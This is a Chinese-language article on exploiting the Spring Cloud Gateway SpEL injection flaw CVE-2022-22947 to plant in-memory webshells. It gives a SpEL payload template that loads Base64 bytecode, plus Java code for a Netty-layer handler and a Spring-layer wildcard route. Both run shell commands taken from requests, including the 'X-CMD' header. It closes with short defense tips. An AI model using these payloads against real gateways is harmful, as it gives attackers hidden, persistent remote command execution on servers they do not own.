Spring cloud gateway通过SPEL注入内存马
字数 1195 2025-08-07 08:22:27
Spring Cloud Gateway SPEL注入内存马分析与利用
0x00 背景
CVE-2022-22947是Spring Cloud Gateway的一个高危漏洞,允许攻击者通过SPEL表达式注入执行任意代码。传统利用方式需要频繁注册路由和刷新网关,影响业务稳定性。本文介绍如何通过该漏洞注入高可用的内存马,包括Netty层和Spring层的实现方式。
0x01 高可用Payload优化
为构建稳定的内存马,需要对SPEL执行Java字节码的payload进行优化:
- 兼容性问题解决:
- 避免使用BCEL/js引擎依赖
- 解决不同JDK版本的Base64兼容问题
- 支持多次运行同类名字节码
- 防止ClassNotFound异常
优化后的Payload模板:
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',
T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),
new javax.management.loading.MLet(new java.net.URL[0],
T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}
0x02 Netty层内存马实现
原理分析
Netty处理HTTP请求通过责任链Pipeline实现,关键点在于:
ChannelPipelineConfigurer负责为Pipeline添加HandlerCompositeChannelPipelineConfigurer合并多个Configurer- 通过修改
doOnChannelInit属性可注入自定义Configurer
内存马实现步骤
-
定位关键对象:
- 通过线程对象找到
NettyWebServer - 获取
val$disposableServer中的config对象 - 修改
doOnChannelInit属性
- 通过线程对象找到
-
内存马核心代码:
public class NettyMemshell extends ChannelDuplexHandler implements ChannelPipelineConfigurer {
public static String doInject(){
// 反射获取并修改doOnChannelInit属性
// ...
}
@Override
public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
// 在Spring Handler前插入内存马Handler
channel.pipeline().addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemshell());
}
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
if(msg instanceof HttpRequest && ((HttpRequest)msg).headers().contains("X-CMD")) {
// 执行命令并返回结果
String cmd = ((HttpRequest)msg).headers().get("X-CMD");
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream())
.useDelimiter("\\A").next();
send(ctx, execResult, HttpResponseStatus.OK);
return;
}
ctx.fireChannelRead(msg);
}
}
0x03 Spring层内存马实现
原理分析
Spring Cloud Gateway请求处理流程:
HandlerMapping- 路由匹配HandlerAdapter- 请求处理HandlerResultHandler- 结果处理
内存马实现步骤
-
获取RequestMappingHandlerMapping:
- 从SPEL上下文的bean中获取
- 或通过反射从线程对象中定位
-
注册恶意Handler:
public class SpringRequestMappingMemshell {
public static String doInject(Object requestMappingHandlerMapping) {
try {
Method registerHandlerMethod = requestMappingHandlerMapping.getClass()
.getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
// 创建通配路由"/*"
PathPattern pathPattern = new PathPatternParser().parse("/*");
PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern);
RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, null, null, null, null, null);
// 注册恶意Handler
registerHandlerMethod.invoke(requestMappingHandlerMapping,
new SpringRequestMappingMemshell(),
SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class),
requestMappingInfo);
return "inject-success";
} catch(Exception e) {
return "inject-error";
}
}
public ResponseEntity executeCommand(String cmd) throws IOException {
// 命令执行实现
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream())
.useDelimiter("\\A").next();
return new ResponseEntity(execResult, HttpStatus.OK);
}
}
0x04 总结与防御建议
技术总结
-
Netty层内存马:
- 通过修改ChannelPipelineConfigurer实现
- 在Netty处理链中插入恶意Handler
- 兼容性较差但隐蔽性高
-
Spring层内存马:
- 通过注册恶意RequestMapping实现
- 直接从bean中获取HandlerMapping
- 兼容性更好但可能被常规检测发现
防御建议
- 及时升级Spring Cloud Gateway到安全版本
- 限制网关的管理端点访问
- 监控异常路由注册行为
- 实施运行时应用自我保护(RASP)
0x05 参考资料
- CVE-2022-22947官方公告
- Spring Cloud Gateway官方文档
- Netty框架Pipeline机制文档
- Spring WebFlux请求处理流程文档